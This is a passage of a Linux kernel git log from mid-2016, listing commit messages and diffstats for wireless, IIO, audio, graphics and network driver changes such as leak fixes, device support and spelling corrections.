2 files changed, 10 insertions(+) commit 690a6d268bdf85f8d233823a18d3200b99e5568d Author: Jes Sorensen Date: Fri Aug 19 17:46:26 2016 -0400 rtl8xxxu: Add TP-Link TL-WN823N v2 to list of supported devices This is an rtl8192eu based dongle (the v1 is an rtl8192cu). Reported and tested by Myckel Habets. Reported-by: Myckel Habets Signed-off-by: Jes Sorensen Signed-off-by: Kalle Valo drivers/net/wireless/realtek/rtl8xxxu/rtl8xxxu_core.c | 7 +++++++ 1 file changed, 7 insertions(+) commit deb6176e561324884652dd6a49a862bd8b152959 Author: Jes Sorensen Date: Fri Aug 19 17:46:25 2016 -0400 rtl8xxxu: Fix error handling if rtl8xxxu_init_device() fails For some reason we lost the code bailing if rtl8xxxu_init_device() returned an error. This catches the error and also cleans up the error handling. Signed-off-by: Jes Sorensen Signed-off-by: Kalle Valo .../net/wireless/realtek/rtl8xxxu/rtl8xxxu_core.c | 20 +++++++++++++++++--- 1 file changed, 17 insertions(+), 3 deletions(-) commit 76a8e07d49b65294ed006ff1e37fa152a1bfd230 Author: Jes Sorensen Date: Fri Aug 19 17:46:24 2016 -0400 rtl8xxxu: Mark 0x2001:0x3308 as tested D-Link DWA-121 is reported as working. Reported-by: Stefano Bravi Signed-off-by: Jes Sorensen Signed-off-by: Kalle Valo drivers/net/wireless/realtek/rtl8xxxu/rtl8xxxu_core.c | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) commit b81669b9e0b4864f59421e7681512731fae01ab9 Author: Jes Sorensen Date: Fri Aug 19 17:46:23 2016 -0400 rtl8xxxu: Mark 0x20f4:0x648b as tested Successfully tested by Jocelyn Mayer Reported-by: J. Mayer Signed-off-by: Jes Sorensen Signed-off-by: Kalle Valo drivers/net/wireless/realtek/rtl8xxxu/rtl8xxxu_core.c | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) commit d8c872b57e0f71b5eccb83b06898d678c7f3353f Author: Maxim Altshul Date: Mon Aug 15 11:23:38 2016 +0300 wlcore: Remove wl pointer from wl_sta structure This field was added to wl_sta struct to get hw in situations where it was not given to driver by mac80211. In our case, get_expected_throughput op did not send hw to driver. This patch reverts the change, as it is no longer needed due to commit 4fdbc67a25ce ("mac80211: call get_expected_throughput only after adding station") as hw is now sent as a parameter. Signed-off-by: Maxim Altshul Signed-off-by: Kalle Valo drivers/net/wireless/ti/wlcore/main.c | 1 - drivers/net/wireless/ti/wlcore/wlcore_i.h | 1 - 2 files changed, 2 deletions(-) commit 3eeacaa902a31bdf06bc53f23087dcb1c5f260d6 Author: Christian Engelmayer Date: Tue Aug 9 21:54:12 2016 +0200 rtlwifi: rtl8723ae: Fix leak in _rtl8723e_read_adapter_info() In case of (rtlhal->oem_id != RT_CID_DEFAULT), the function directly returns and leaks the already allocated hwinfo memory. Go through the correct exit path. Signed-off-by: Christian Engelmayer Acked-by: Larry Finger Signed-off-by: Kalle Valo drivers/net/wireless/realtek/rtlwifi/rtl8723ae/hw.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a0c7858e74793242733a09a3e34356f434bc1571 Author: Christian Engelmayer Date: Tue Aug 9 21:19:57 2016 +0200 rtlwifi: rtl8192de: Fix leak in _rtl92de_read_adapter_info() In case rtl_get_hwinfo() fails, the function directly returns and leaks the already allocated hwinfo memory. Go through the correct exit path. Signed-off-by: Christian Engelmayer Acked-by: Larry Finger Signed-off-by: Kalle Valo drivers/net/wireless/realtek/rtlwifi/rtl8192de/hw.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 2535cc7ae02bc1e4dc6b6d3771ba8d18cd824e10 Author: kbuild test robot Date: Thu Sep 1 08:38:38 2016 +0800 iio: chemical: vz89x: fix boolreturn.cocci warnings drivers/iio/chemical/vz89x.c:119:9-10: WARNING: return of 0/1 in function 'vz89x_measurement_is_valid' with return type bool Return statements in functions returning bool should use true/false instead of 1/0. Generated by: scripts/coccinelle/misc/boolreturn.cocci CC: Matt Ranostay Signed-off-by: Fengguang Wu Signed-off-by: Jonathan Cameron drivers/iio/chemical/vz89x.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e77f847df54c6b01f4628dd352f4168db3082aa8 Author: Shawn Lin Date: Sat Sep 3 11:41:09 2016 -0500 PCI: rockchip: Add Rockchip PCIe controller support Add support for the Rockchip PCIe controller found on RK3399 SoC platform. [bhelgaas: fold in Brian's rockchip_pcie_client_irq_handler() OR fix, other fixes and cleanups from Guenter Roeck and me, uninitialized variable fix from Arnd Bergmann ] Signed-off-by: Shawn Lin Signed-off-by: Bjorn Helgaas Reviewed-by: Brian Norris MAINTAINERS | 9 + drivers/pci/host/Kconfig | 11 + drivers/pci/host/Makefile | 1 + drivers/pci/host/pcie-rockchip.c | 1198 ++++++++++++++++++++++++++++++++++++++ 4 files changed, 1219 insertions(+) commit 1b246fca4adaa0bf440b604366f2227cc4cde702 Author: Linus Walleij Date: Tue Aug 30 10:18:39 2016 +0200 iio: st_sensors: fix errorcheck for regulators We were checking the return code of vdd when we should be checking vdd_io. My mistake, mea culpa. Cc: Giuseppe BARBA Reported-by: Giuseppe BARBA Signed-off-by: Linus Walleij Signed-off-by: Jonathan Cameron drivers/iio/common/st_sensors/st_sensors_core.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 4075a283ae83f49f923a2a92935aa72be2c1ca85 Author: William Breathitt Gray Date: Mon Aug 29 16:22:56 2016 -0400 iio: stx104: Add IIO support for the ADC channels The Apex Embedded Systems STX104 features 16 channels of single-ended (8 channels of true differential) 16-bit analog input. Differential input configuration may be selected via a physical jumper on the device. Similarly, input polarity (unipolar/bipolar) is configured via a physical jumper on the device. Input gain selection is available to the user via software, thus allowing eight possible input ranges: +-10V, +-5V, +-2.5V, +-1.25V, 0 to 10V, 0 to 5V, 0 to 2.5V, and 0 to 1.25V. Four input gain configurations are supported: x1, x2, x4, and x8. This ADC resolution is 16-bits (1/65536 of full scale). Analog input samples are taken on software trigger; neither FIFO sampling nor interrupt triggering is supported by this driver. The Apex Embedded Systems STX104 is primarily an analog-to-digital converter device. The STX104 IIO driver was initially placed in the DAC directory because only the DAC portion of the STX104 was supported at the time. Now that ADC support has been added to the STX104 IIO driver, the driver should be moved to the more appropriate ADC directory. Signed-off-by: William Breathitt Gray Signed-off-by: Jonathan Cameron MAINTAINERS | 4 +- drivers/iio/adc/Kconfig | 15 ++ drivers/iio/adc/Makefile | 1 + drivers/iio/adc/stx104.c | 360 +++++++++++++++++++++++++++++++++++++++++++++++ drivers/iio/dac/Kconfig | 10 -- drivers/iio/dac/Makefile | 1 - drivers/iio/dac/stx104.c | 255 --------------------------------- 7 files changed, 378 insertions(+), 268 deletions(-) commit c060991912f8e71f6214204a2019ceceb315c17b Author: Alison Schofield Date: Fri Sep 2 19:54:21 2016 -0700 iio: adc: ina2xx: remove unused debug field from chip global data commit 1961bce76452 "iio: ina2xx: Remove trace_printk debug statements" removed the code that used the chip->prev_ns field. This patch cleans it up further by removing the unused field and assignments. Signed-off-by: Alison Schofield Cc: Daniel Baluta Signed-off-by: Jonathan Cameron drivers/iio/adc/ina2xx-adc.c | 5 ----- 1 file changed, 5 deletions(-) commit c8cdf70890d89c07c9e890b103106d58999f0ce4 Author: Matt Ranostay Date: Fri Sep 2 23:36:15 2016 -0700 iio: trigger: allow immutable triggers to be assigned There are times when an assigned trigger to a device shouldn't ever change after intialization. Examples of this being used is when an provider device has a trigger that is assigned to an ADC, which uses it populate data into a callback buffer. Signed-off-by: Matt Ranostay Signed-off-by: Jonathan Cameron drivers/iio/industrialio-trigger.c | 20 ++++++++++++++++++++ include/linux/iio/iio.h | 2 ++ include/linux/iio/trigger.h | 9 +++++++++ 3 files changed, 31 insertions(+) commit a5c8b11a361065db028721c62aa880bfe0736aa6 Author: Christoph Fritz Date: Sat Sep 3 12:30:00 2016 +0200 iio: sx9500: add final devicetree support This makes sx9500 driver usable on devicetree based platforms too. Signed-off-by: Christoph Fritz Reviewed-by: Fabio Estevam Reviewed-by: Vlad Dogaru Signed-off-by: Jonathan Cameron .../devicetree/bindings/iio/proximity/sx9500.txt | 24 ++++++++++++++++++++++ drivers/iio/proximity/sx9500.c | 7 +++++++ 2 files changed, 31 insertions(+) commit 4bb05040fd685c549e6550f09daffee6cde4c370 Author: Chris Wilson Date: Sat Sep 3 07:53:43 2016 +0100 drm/i915: debugfs/i915_gem_interrupt_info does not need struct_mutex i915_gem_interrupt_info() only looks at mmio registers, and the waiters under a spinlock. It doesn't need struct_mutex (but does need the rpm wakelock for mmio access). Maybe useful using get_if_notidle? Signed-off-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/20160903065343.25151-2-chris@chris-wilson.co.uk Reviewed-by: Matthew Auld drivers/gpu/drm/i915/i915_debugfs.c | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) commit 02c53d99b6eb44c7a78e648d023d0485b71f661e Author: Chris Wilson Date: Sat Sep 3 07:53:42 2016 +0100 drm/i915: debugfs/i915_gem_seqno_info does not need rpm nor struct_mutex i915_gem_seqno_info() supplies its own spinlocks to access the waiters, and doesn't need any GGTT or mmio access. Signed-off-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/20160903065343.25151-1-chris@chris-wilson.co.uk Reviewed-by: Matthew Auld drivers/gpu/drm/i915/i915_debugfs.c | 10 ---------- 1 file changed, 10 deletions(-) commit e87d9ae8886783f3a5a8dd6863e8261783214e3b Author: Charles Keepax Date: Fri Sep 2 16:52:43 2016 +0100 ASoC: arizona: Correct handling of FLL theta in synchroniser mode Theta/lambda is used to give the fractional portion of the FLL frequency multiplication. When the synchroniser is active the reference path lambda value is hard coded in the hardware to 65536. This patch corrects the handling of theta such that it is scaled to match this denominator, when the synchroniser is active. Signed-off-by: Charles Keepax Signed-off-by: Mark Brown sound/soc/codecs/arizona.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) commit 0fd67cee29cef1942865bd4375b8a7e5d98343ad Author: Colin Ian King Date: Fri Sep 2 09:45:25 2016 +0100 ASoC: Intel: sst: fix to spelling mistake: "susupend" -> "suspend" trivial fix to spelling mistake in dev_err message and replace "cant" with "can't" Signed-off-by: Colin Ian King Signed-off-by: Mark Brown sound/soc/intel/atom/sst/sst.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c3d7abca999ebf09139f59eeab2f294e76017631 Author: Colin Ian King Date: Fri Sep 2 16:25:07 2016 +0100 ASoC: ux500: fix spelling mistake "Unsopported" -> "Unsupported" Trivial fix to spelling mistakes in dev_err messages Signed-off-by: Colin Ian King Signed-off-by: Mark Brown sound/soc/ux500/ux500_msp_dai.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 3bcc8656722c84f10355054ed287c15c47e30a74 Author: Colin Ian King Date: Fri Sep 2 15:07:23 2016 +0100 ASoC: fsl_esai: fix spelling mistake "Transmition" -> "Transmission" Trivial fix to spelling mistakes in dev_dbg messages Signed-off-by: Colin Ian King Acked-by: Nicolin Chen Signed-off-by: Mark Brown sound/soc/fsl/fsl_esai.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 8af92af3f2d55db143417a5d401696f4b642009a Author: Baoyou Xie Date: Mon Aug 29 20:39:35 2016 +0800 brcmfmac: add missing header dependencies We get 1 warning when building kernel with W=1: drivers/net/wireless/broadcom/brcm80211/brcmfmac/tracepoint.c:23:6: warning: no previous prototype for '__brcmf_err' [-Wmissing-prototypes] In fact, this function is declared in brcmfmac/debug.h, so this patch adds missing header dependencies. Signed-off-by: Baoyou Xie Acked-by: Arnd Bergmann Signed-off-by: Kalle Valo drivers/net/wireless/broadcom/brcm80211/brcmfmac/tracepoint.c | 1 + 1 file changed, 1 insertion(+) commit d393be3ed0bebb30a4666d7f5ed4486cd6b31716 Author: Colin Ian King Date: Tue Aug 16 13:10:13 2016 +0100 mwifiex: fix missing break on IEEE80211_STYPE_ACTION case The IEEE80211_STYPE_ACTION case is missing a break in the switch statement, causing it to fall through to the default case that reports a debug message about an unknown frame subtype. Fix this by adding in the missing break statement. Signed-off-by: Colin Ian King Signed-off-by: Kalle Valo drivers/net/wireless/marvell/mwifiex/util.c | 1 + 1 file changed, 1 insertion(+) commit 410280bac6224e066f4cf0b87db08f0418a135b6 Author: Christophe Jaillet Date: Thu Aug 11 16:38:54 2016 +0200 rt2x00usb: Fix error return code We know that 'retval = 0' because it has been tested a few lines above. So, if 'devm_kmalloc' fails, 0 will be returned instead of an error code. Return -ENOMEM instead. Fixes: 8b4c0009313f ("rt2x00usb: Use usb anchor to manage URB") Signed-off-by: Christophe JAILLET Acked-by: Stanislaw Gruszka Signed-off-by: Kalle Valo drivers/net/wireless/ralink/rt2x00/rt2x00usb.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 72539799104d4d70c2afcb8f0fe2a7a507a41c81 Author: Amitkumar Karwar Date: Tue Aug 9 20:20:46 2016 +0530 mwifiex: add custom regulatory domain support This patch creates custom regulatory rules based on the information received from firmware and enable them during wiphy registration. Signed-off-by: Amitkumar Karwar Signed-off-by: Kalle Valo drivers/net/wireless/marvell/mwifiex/cfg80211.c | 39 ++++++---- drivers/net/wireless/marvell/mwifiex/fw.h | 8 ++ drivers/net/wireless/marvell/mwifiex/main.c | 2 + drivers/net/wireless/marvell/mwifiex/main.h | 1 + drivers/net/wireless/marvell/mwifiex/sta_cmdresp.c | 91 ++++++++++++++++++++++ 5 files changed, 127 insertions(+), 14 deletions(-) commit 41960b4dfdfce7d669dbec6a492202d1b18accb7 Author: Amitkumar Karwar Date: Tue Aug 9 20:20:45 2016 +0530 mwifiex: add CHAN_REGION_CFG command This patch adds command preparation and response handling for CHAN_REGION_CFG command. These changes are prerequisites for adding custom regulatory domain support. Signed-off-by: Amitkumar Karwar Signed-off-by: Kalle Valo drivers/net/wireless/marvell/mwifiex/fw.h | 7 ++++ drivers/net/wireless/marvell/mwifiex/sta_cmd.c | 21 +++++++++++ drivers/net/wireless/marvell/mwifiex/sta_cmdresp.c | 41 ++++++++++++++++++++++ 3 files changed, 69 insertions(+) commit b64db1b252e9974a43a51ba083fa7d03e4716167 Author: Xinming Hu Date: Tue Aug 9 20:20:44 2016 +0530 mwifiex: correct aid value during tdls setup AID gets updated during TDLS setup, but modified value isn't reflected in "priv->assoc_rsp_buf". This causes TDLS setup failure. The problem is fixed here. Fixes: 4aff53ef18e4a4 ("mwifiex: parsing aid while receiving..") Signed-off-by: Xinming Hu Signed-off-by: Amitkumar Karwar Signed-off-by: Kalle Valo drivers/net/wireless/marvell/mwifiex/join.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 6a1622000ac92244ae605e2345c348c0bf281122 Author: Christophe Jaillet Date: Mon Aug 8 09:39:00 2016 +0200 mwifiex: simplify length computation for some memset This patch should be a no-op. It just simplifies code by using the name of a variable instead of its type when calling 'sizeof'. Signed-off-by: Christophe JAILLET Signed-off-by: Kalle Valo drivers/net/wireless/marvell/mwifiex/sta_ioctl.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit ba852018d493c99d3183fdcc7e41b725f2ec1321 Author: Christophe Jaillet Date: Mon Aug 8 09:38:48 2016 +0200 mwifiex: fix the length parameter of a memset In 'mwifiex_get_ver_ext', we have: struct mwifiex_ver_ext ver_ext; memset(&ver_ext, 0, sizeof(struct host_cmd_ds_version_ext)); This is likely that memset'ing sizeof(struct mwifiex_ver_ext) was expected. Remove the ambiguity by using the variable name directly instead of its type. Signed-off-by: Christophe JAILLET Signed-off-by: Kalle Valo drivers/net/wireless/marvell/mwifiex/sta_ioctl.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f898005ff99f348febba88dff8840df6e4367758 Author: Heinrich Schuchardt Date: Tue Aug 2 21:26:21 2016 +0200 rtlwifi: remove superfluous condition If sta == NULL, the changed line will not be reached. So no need to check that sta != NULL here. Signed-off-by: Heinrich Schuchardt Acked-by: Larry Finger Signed-off-by: Kalle Valo drivers/net/wireless/realtek/rtlwifi/core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit af8a9a67c3466f70ab28a112d18eb5d327d40ca2 Author: Sergey Ryazanov Date: Tue Aug 2 14:19:28 2016 +0300 ath5k: fix EEPROM dumping via debugfs EEPROM size calculated in 16-bit words, so we should take into account this fact during buffer allocation. CC: Jiri Slaby CC: Nick Kossifidis CC: Luis R. Rodriguez Signed-off-by: Sergey Ryazanov Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath5k/debug.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit bd6b0242652a8a284eed2adec5ac1fc043b8f2ef Author: Pavel Andrianov Date: Tue Aug 2 12:41:53 2016 +0300 wl3501_cs: Add spinlock to wl3501_reset Likely wl3501_reset should acquire spinlock as wl3501_{open, close}. One of calls of wl3501_reset has been already protected. The others were unprotected and might lead to a race condition. The patch adds spinlock into the wl3501_reset and removes it from wl3501_tx_timeout. Found by Linux Driver Verification project (linuxtesting.org) Signed-off-by: Pavel Andrianov Acked-by: Vaishali Thakkar Signed-off-by: Kalle Valo drivers/net/wireless/wl3501_cs.c | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) commit b0d80f19c14fc5752e806860fe2c702448f5b442 Author: Heinrich Schuchardt Date: Sun Jul 31 14:11:21 2016 +0200 mwifiex: key_material_v2 remove superfluous condition We are using mac as source address in a memcpy. In the lines below we can assume mac is not NULL. Signed-off-by: Heinrich Schuchardt Acked-by: Amitkumar Karwar Signed-off-by: Kalle Valo drivers/net/wireless/marvell/mwifiex/sta_cmd.c | 11 +++-------- 1 file changed, 3 insertions(+), 8 deletions(-) commit 2f69e67058fbe9750a4f66ea30b4b6a8648a2fdc Author: Heinrich Schuchardt Date: Sun Jul 31 12:39:15 2016 +0200 mwifiex: remove superfluous condition for_each_property_of_node is only executed if the property prop is not NULL. Signed-off-by: Heinrich Schuchardt Acked-by: Amitkumar Karwar Signed-off-by: Kalle Valo drivers/net/wireless/marvell/mwifiex/sta_cmd.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 3f37ec79dd21fbdbbab8143a48a87272b22fef22 Author: Rafał Miłecki Date: Mon Jul 25 20:33:56 2016 +0200 bcma: support BCM53573 series of wireless SoCs BCM53573 seems to be the first series of Northstar family with wireless on the chip. The base models are BCM53573-s (A0, A1) and there is also BCM47189B0 which seems to be some small modification. The only problem with these chipsets seems to be watchdog. It's totally unavailable on 53573A0 / 53573A1 and preferable PMU watchdog is broken on 53573B0 / 53573B1. Signed-off-by: Rafał Miłecki Signed-off-by: Kalle Valo drivers/bcma/driver_chipcommon.c | 32 +++++++++++++++++++++++++++++--- include/linux/bcma/bcma.h | 3 +++ 2 files changed, 32 insertions(+), 3 deletions(-) commit 441756b6a6e3818dc6f2e76b9526558d450ce778 Author: Ganapathi Bhat Date: Mon Jul 25 21:21:11 2016 +0530 mwifiex: fix radar detection issue It's been observed that firmware sends RADAR detected event without specifying bss_num/bss_type. Also, the event body is empty. Currently the event is being ignored by driver. This patch checks on which interface 11H is active, accordingly fills bss_num/bss_type and handles the event. Condition "if (le32_to_cpu(rdr_event->passed))" which always fails is also removed. Signed-off-by: Ganapathi Bhat Signed-off-by: Amitkumar Karwar Signed-off-by: Kalle Valo drivers/net/wireless/marvell/mwifiex/11h.c | 27 +++++++++++---------------- drivers/net/wireless/marvell/mwifiex/cmdevt.c | 18 ++++++++++++++++-- 2 files changed, 27 insertions(+), 18 deletions(-) commit 432da7d243da32651e1fae677f3a83c16b346d47 Author: Xinming Hu Date: Mon Jul 25 21:21:10 2016 +0530 mwifiex: add HT aggregation support for adhoc mode This patch adds HT support for adhoc station. Firmware will upload ibss sta connect event with beacon data, whenever new station joins the adhoc network. Driver will check the HT IE and decide whether to support HT aggreagation or not. Signed-off-by: Xinming Hu Signed-off-by: Cathy Luo Signed-off-by: Amitkumar Karwar Signed-off-by: Kalle Valo drivers/net/wireless/marvell/mwifiex/11n.h | 7 +- drivers/net/wireless/marvell/mwifiex/fw.h | 9 ++ drivers/net/wireless/marvell/mwifiex/sta_event.c | 132 ++++++++++++++++++++++- 3 files changed, 144 insertions(+), 4 deletions(-) commit 5536c4aafcac094fb7ea6c3c1e6d999ae586171d Author: Amitkumar Karwar Date: Mon Jul 25 21:21:09 2016 +0530 mwifiex: remove misleading disconnect message Disconnect message in mwifiex_reset_connect_state() would displays necessary information. We unnecessarily have exactly same message in cfg80211_disconnect(). As priv->cfg_bssid is cleared at this point of time, it prints incorrect(all zero) MAC. This message is removed here. Signed-off-by: Amitkumar Karwar Signed-off-by: Kalle Valo drivers/net/wireless/marvell/mwifiex/cfg80211.c | 4 ---- 1 file changed, 4 deletions(-) commit 99ffe72cdae4f7c326d094c85167802ee0ecacbb Author: Xinming Hu Date: Mon Jul 25 21:21:08 2016 +0530 mwifiex: process rxba_sync event Firmware may filter and drop packets under certain condition, for example, ARP SA=DA packet. this event will be used to synchronize the Rx Block Acknowledgment (BA) window bitmap and to fill any holes in driver side. Signed-off-by: Xinming Hu Signed-off-by: Amitkumar Karwar Signed-off-by: Kalle Valo .../net/wireless/marvell/mwifiex/11n_rxreorder.c | 78 +++++++++++++++++++++- .../net/wireless/marvell/mwifiex/11n_rxreorder.h | 3 +- drivers/net/wireless/marvell/mwifiex/fw.h | 12 ++++ drivers/net/wireless/marvell/mwifiex/sta_event.c | 6 ++ drivers/net/wireless/marvell/mwifiex/uap_event.c | 7 +- 5 files changed, 103 insertions(+), 3 deletions(-) commit c2a8f0ff9c6ca8d04adb68b7959a56a3cbb665b3 Author: Ganapathi Bhat Date: Mon Jul 25 21:21:07 2016 +0530 mwifiex: support random MAC address for scanning This patch advertises RANDOM_MAC_ADDR feature to cfg80211. It allow the application to issue scan with a MAC address and mask. Random MACs are generated and used in probe requests sent for scanning until it is changed by the application or device is restarted. Signed-off-by: Ganapathi Bhat Signed-off-by: Amitkumar Karwar Signed-off-by: Kalle Valo drivers/net/wireless/marvell/mwifiex/cfg80211.c | 15 ++++++++++++++- drivers/net/wireless/marvell/mwifiex/fw.h | 7 +++++++ drivers/net/wireless/marvell/mwifiex/main.h | 1 + drivers/net/wireless/marvell/mwifiex/scan.c | 16 ++++++++++++++++ 4 files changed, 38 insertions(+), 1 deletion(-) commit c8ccf3ade7851054f82bf88f5fcd393a394038a3 Author: Amitkumar Karwar Date: Mon Jul 25 21:21:06 2016 +0530 mwifiex: fix failed to reconnect after interface disabled/enabled Recent patch "mwifiex: fix NULL pointer" skips extended scan event handling when suspend is in progress. It created a problem for scan after interface disabled/enabled case. This patch solves the problem by checking netif_running() status. Fixes:16d25da94f3d654 ("mwifiex: fix NULL pointer dereference during suspend") Signed-off-by: Amitkumar Karwar Signed-off-by: Kalle Valo drivers/net/wireless/marvell/mwifiex/sta_event.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) commit e5988c62b9e6e5fb279188db916c51fdb5981403 Author: Karthik D A Date: Mon Jul 25 21:21:05 2016 +0530 mwifiex: add region code information in debugfs region code is an EEPROM setting received from firmware. Let's display this in debugfs along with other information. Signed-off-by: Karthik D A Signed-off-by: Amitkumar Karwar Signed-off-by: Kalle Valo drivers/net/wireless/marvell/mwifiex/debugfs.c | 2 ++ 1 file changed, 2 insertions(+) commit 902831a7629b8b72d333d214b031a717309bb1eb Author: Karthik D A Date: Mon Jul 25 21:21:04 2016 +0530 mwifiex: Fixed endianness problem for big endian platform The driver sends and recives information to and from the firmware. Correct endianness should be ensured as firmware follows little endian format and host can be little/big endian. Signed-off-by: Karthik D A Signed-off-by: Amitkumar Karwar Signed-off-by: Kalle Valo drivers/net/wireless/marvell/mwifiex/fw.h | 30 +++++++++++----------- drivers/net/wireless/marvell/mwifiex/sta_cmd.c | 27 ++++++++++--------- drivers/net/wireless/marvell/mwifiex/sta_cmdresp.c | 2 +- 3 files changed, 31 insertions(+), 28 deletions(-) commit 4ad0579a28c0a02613c1d4a53c03ae746f14b0ac Author: Wei Yongjun Date: Fri Jul 22 14:08:08 2016 +0000 wlcore: spi: fix non static symbol warning Fixes the following sparse warning: drivers/net/wireless/ti/wlcore/spi.c:87:34: warning: symbol 'wilink_data' was not declared. Should it be static? Signed-off-by: Wei Yongjun Signed-off-by: Kalle Valo drivers/net/wireless/ti/wlcore/spi.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 8432ebd66205ef1e088005ae3738600dedc7d9b4 Author: Rajan Vaja Date: Thu Jul 21 13:44:44 2016 +0530 hostap: Use memdup_user() to reuse code Fix coccicheck warning which recommends to use memdup_user() instead of reimplementing its code. This patch fixes below coccicheck warnings: drivers/net/wireless/intersil/hostap/hostap_ioctl.c:3044:9-16: WARNING opportunity for memdup_user drivers/net/wireless/intersil/hostap/hostap_ioctl.c:3806:9-16: WARNING opportunity for memdup_user Signed-off-by: Rajan Vaja Reviewed-by: Julian Calaby Signed-off-by: Kalle Valo drivers/net/wireless/intersil/hostap/hostap_ioctl.c | 20 ++++++-------------- 1 file changed, 6 insertions(+), 14 deletions(-) commit e918a18d2eb36abb05614ccc866c82f6c3bfd666 Merge: 54fe079 19a2a85 Author: Michael Turquette Date: Fri Sep 2 18:13:40 2016 -0700 Merge branch 'clk-meson-gxbb' into clk-next commit e8a3925f691698bb7d8b0016f6506a5255b98437 Merge: 0cc1f31 3013639 Author: David S. Miller Date: Fri Sep 2 17:11:32 2016 -0700 Merge branch 'liquidio-CN23XX-part-2' Raghu Vatsavayi says: ==================== liquidio CN23XX support I am posting the remaining half of patchset after the acceptance of first half. With this patchset I am able to completely submit the code of V3 patchset which you earlier advised me to split into smaller ones. This V5 patch also addresses all the comments from previous submission: 1) Avoid busy loop while reading registers. 2) Other minor comments about debug messages and constants. Please apply patches in following order as some of the patches depend on earlier patches. ==================== Signed-off-by: David S. Miller commit 30136395a2f63e1aca9a62bfd631feb3eb213428 Author: Raghu Vatsavayi Date: Thu Sep 1 11:16:11 2016 -0700 liquidio:CN23XX pause frame support Adds support for pause frame and priv flag for cn23xx device. Signed-off-by: Derek Chickles Signed-off-by: Satanand Burla Signed-off-by: Felix Manlunas Signed-off-by: Raghu Vatsavayi Signed-off-by: David S. Miller drivers/net/ethernet/cavium/liquidio/lio_ethtool.c | 110 +++++++++++++++++++++ drivers/net/ethernet/cavium/liquidio/lio_main.c | 12 ++- .../net/ethernet/cavium/liquidio/octeon_device.h | 11 ++- 3 files changed, 126 insertions(+), 7 deletions(-) commit 9ded1a512f9de8d47074d208b41dead3c267fcee Author: Raghu Vatsavayi Date: Thu Sep 1 11:16:10 2016 -0700 liquidio: CN23XX napi support This patch adds NAPI related support for cn23xx device. Signed-off-by: Derek Chickles Signed-off-by: Satanand Burla Signed-off-by: Felix Manlunas Signed-off-by: Raghu Vatsavayi Signed-off-by: David S. Miller drivers/net/ethernet/cavium/liquidio/lio_main.c | 10 ++++++---- drivers/net/ethernet/cavium/liquidio/octeon_device.c | 19 +++++++++++++++++++ drivers/net/ethernet/cavium/liquidio/octeon_droq.c | 7 +++++-- 3 files changed, 30 insertions(+), 6 deletions(-) commit 9ff1a9bad867215e4a7ceeef4e9311d1232902fa Author: Raghu Vatsavayi Date: Thu Sep 1 11:16:09 2016 -0700 liquidio: CN23XX health monitoring Adds support for watchdog based health monitoring of octeon cores on cn23xx device. Signed-off-by: Derek Chickles Signed-off-by: Satanand Burla Signed-off-by: Felix Manlunas Signed-off-by: Raghu Vatsavayi Signed-off-by: David S. Miller drivers/net/ethernet/cavium/liquidio/lio_main.c | 126 ++++++++++++++++++++- .../net/ethernet/cavium/liquidio/octeon_device.h | 2 + .../net/ethernet/cavium/liquidio/octeon_network.h | 6 + 3 files changed, 132 insertions(+), 2 deletions(-) commit dc3abcbeaeb9593d8c0892718dcfe2bd0882832c Author: Raghu Vatsavayi Date: Thu Sep 1 11:16:08 2016 -0700 liquidio: ethtool and led control support This patch adds support for some control operations like LED identification, ethtool statistics and intr config for cn23xx device. Signed-off-by: Derek Chickles Signed-off-by: Satanand Burla Signed-off-by: Felix Manlunas Signed-off-by: Raghu Vatsavayi Signed-off-by: David S. Miller .../ethernet/cavium/liquidio/cn23xx_pf_device.h | 2 + drivers/net/ethernet/cavium/liquidio/lio_core.c | 6 + drivers/net/ethernet/cavium/liquidio/lio_ethtool.c | 385 ++++++++++++++++++++- .../net/ethernet/cavium/liquidio/liquidio_common.h | 5 + 4 files changed, 390 insertions(+), 8 deletions(-) commit 5b823514ae31dc50a36454a6a14d40d712dbe8d0 Author: Raghu Vatsavayi Date: Thu Sep 1 11:16:07 2016 -0700 liquidio: CN23XX octeon3 instruction Adds support for data path related changes based on octeon3 instruction header(ih3) for cn23xx. Signed-off-by: Derek Chickles Signed-off-by: Satanand Burla Signed-off-by: Felix Manlunas Signed-off-by: Raghu Vatsavayi Signed-off-by: David S. Miller drivers/net/ethernet/cavium/liquidio/lio_main.c | 37 +++-- .../net/ethernet/cavium/liquidio/liquidio_common.h | 7 + .../net/ethernet/cavium/liquidio/octeon_device.c | 31 ++-- drivers/net/ethernet/cavium/liquidio/octeon_droq.c | 6 + drivers/net/ethernet/cavium/liquidio/octeon_nic.c | 27 +++- drivers/net/ethernet/cavium/liquidio/octeon_nic.h | 4 +- .../net/ethernet/cavium/liquidio/request_manager.c | 167 +++++++++++++++------ .../ethernet/cavium/liquidio/response_manager.c | 9 +- 8 files changed, 212 insertions(+), 76 deletions(-) commit 9bdd46095fb9476323c490674b4c5e1ec61f8a53 Author: Raghu Vatsavayi Date: Thu Sep 1 11:16:06 2016 -0700 liquidio: CN23XX IQ access Adds support for Instruction Queue(IQ) index manipulation routines through bar1 of cn23xx. Signed-off-by: Derek Chickles 